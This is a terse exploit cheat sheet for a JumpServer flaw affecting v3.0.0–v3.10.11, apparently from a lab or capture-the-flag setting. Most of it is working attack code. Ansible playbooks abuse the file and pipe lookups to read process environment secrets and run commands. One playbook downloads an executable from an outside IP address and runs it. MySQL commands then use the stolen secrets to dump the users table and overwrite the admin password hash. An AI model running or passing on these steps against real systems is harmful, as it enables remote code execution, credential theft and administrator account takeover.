JumpServer

File Read

Tested on v3.10.11
Affected versions : v3.0.0-v3.10.11
Patched versions : v3.10.12, v4.0.0
Check
- hosts: all
  tasks:
  - name: read file from local host = celery using file lookup plugin
    ansible.builtin.debug:
      msg: "{{ lookup('ansible.builtin.file', '/proc/self/environ') }}"

Test CMD
- hosts: all
  tasks:
  - name: test cmd
    ansible.builtin.debug:
      msg: "{{ lookup('ansible.builtin.pipe', 'cat /proc/self/environ') }}"

Download payload and exec
- hosts: all
  tasks:
  - name: test1
    ansible.builtin.debug:
      msg: "{{ lookup('ansible.builtin.pipe', 'curl 10.10.14.4/r -o /root/r2') }}"
  - name: test2
    ansible.builtin.debug:
      msg: "{{ lookup('ansible.builtin.pipe', 'chmod 755 /root/r2') }}"
  - name: test3
    ansible.builtin.debug:
      msg: "{{ lookup('ansible.builtin.pipe', '/root/r2') }}"

Use secrets from environ to connect to DB
mysql -h mysql -p3306 -u root -D jumpserver --password=dbpassword -e 'select * from users_user'

You can copy hash value from any known account’s password to replace admin password
mysql -h mysql -p3306 -u root -D jumpserver --password=dbpassword -e 'UPDATE users_user SET password = "pbkdf2_sha256$390000$TltoINcfA78tfTsXiCKQK1$gP4SXdOchHuoUYzjojpZd55qKZj3HC2o9+r9iSCdg40=" WHERE id = "261c1b7af01a41d6b1845dd19478951b"'
In order to reveal secrets from admin interface you will need to setup MFA using an authentificator app (like keepass or google authentificator)